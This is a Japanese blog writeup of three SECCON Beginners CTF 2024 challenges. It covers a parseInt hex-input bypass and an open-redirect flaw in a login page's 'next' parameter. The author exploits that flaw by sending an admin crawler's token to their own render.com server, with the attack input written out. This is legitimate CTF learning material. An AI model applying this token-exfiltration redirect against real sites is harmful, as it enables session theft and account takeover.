🌊

SECCON Beginners CTF 2024 Writeup

2024/06/17に公開

初めに

こんにちはfumi0916です。
seccon beginners ctf 2024にJR.FOLKSというチームとして参加しました。
今回はその振り返りとか感想とかを書いていきたいと思います。

結果

僕はwebの問題2問と、miscの問題1問の計3問の問題を正解しました。
チーム全体の成績としてはこんな感じです。

getRank (misc)


僕は主にwebの問題を担当する予定だったのですが、最初になんとなくこの問題を開いたらwebに係してそうだったので解くことにしました。

この問題はwebサイト上の数当てゲームで数を当てていきスコアを上げてサイト内のラインキングの1位を取ることでフラグがもらえます。
とりあえずdockerファイルを展開してローカルに環境を作ってみるとこんな感じになってました。

  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  console.log(input)
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);

愚直にinputに10^100で割られても10^255より大きくなる数を入れると文字数が300文字をオーバーしてしまい、はじかれるので、parseIntの部分に注目します。この関数やどうやら10進数以外の形式にも対応しているみたいなので10^100*10^255より大きい数(ここでは10^100*10^256とする)を16進数に変換して文字列の先頭に0xを付けたものをbodyに入れて/にリクエストを送るとレスポンスとしてフラグが返ってきます。

wooorker (web)


この問題ではadminユーザーでログインをすることでトークンが発行され、そのトークンをクエリパラメータに入れてサイトの/にアクセスするとフラグが取得できます。
この問題にはログインページのほかにも/reporpのサイト内の指定のパスを入力することでクローラーが自動でそのパスにアクセスしログインする機能を持ったページがあります。
そのページのソースコードを見てみるとこのような部分がありました。

 const next = params.get('next');
 if (next) {
    window.location.href = next.includes('token=') ? next: `${next}? 
    token=${token}`;
 } else {
    window.location.href = `/?token=${token}`;
 }

どうやらログインページのクエリパラメータのnextにURLを指定するとログインしてトークンを取得した後にそのURL+?token=hogeのような感じでそのURLにリダイレクトされるようになっているようなので、URLに自分のサイトあるいはクエリパラメーターを取得した結果を取得できるサーバーを用意してそこに、この問題のサイトでadmin権限でログインした後のクローラーをリダイレクトさせます。今回は手元に外部に公開できるサーバーがなかったので、render.comというPaaSを使用し、その上にリクエストを受けると、そのクエリパラメータを取得して表示するという最小限の機能を持ったサーバーをデプロイしました。
↓ソースコード
https://github.com/kisia0916/seccon-server
最後にwooorkerの/reportのページに戻り、テキストボックスに以下のパスを入れてsendするとクローラーがログインを行い、その結果取得したトークンを持って先ほど用意したサーバーにアクセスしてくれます。

login?next=https://seccon-server.onrender.com/

サーバー側のログで出力されたトークンを取得しwooorkerの/ページのクエリパラメーターに?token=<取得したトークン>を設定してアクセスするとフラグが表示されます。

wooorker2 (web)


この問題は先ほどのwooorkerの取得したトークンをクエリパラメータに入れるという仕様がクエリパラメーターではなくURLの/以下に#<取得したトークン>という形で追加されるように変更されたものになっていました。
この変更がなされたことでサーバー側ではURLに追加されたトークンを取得することができなくなりました。ですがJavascriptからであればそれらの文字列は取得できるため、先ほどのサーバーを改良してリクエストが来た際にwebページを返すようにし、そのページ内でURLの文字列を取得してそれをサーバーに用意したAPIに送信することでトークンを取得する形式にしました。
https://github.com/kisia0916/seccon-server
wooorkerの手順と同じように/reportのテキストボックスに以下のように入力し、サーバーのログを見るとトークンを含んだURLが送られてきているので、そのトークンをwooorkerの/ページの/以下に#<取得したトークン>を設定してアクセスすると、フラグが表示されます。

テキストボックスの内容

login?next=https://seccon-server.onrender.com/

最後にアクセスするURL

https://wooorker2.beginners.seccon.games/#<取得したトークン>

感想

今回初めてCTFに参加したのですが、とても面白かったです。
また参加したいと思います。

Discussion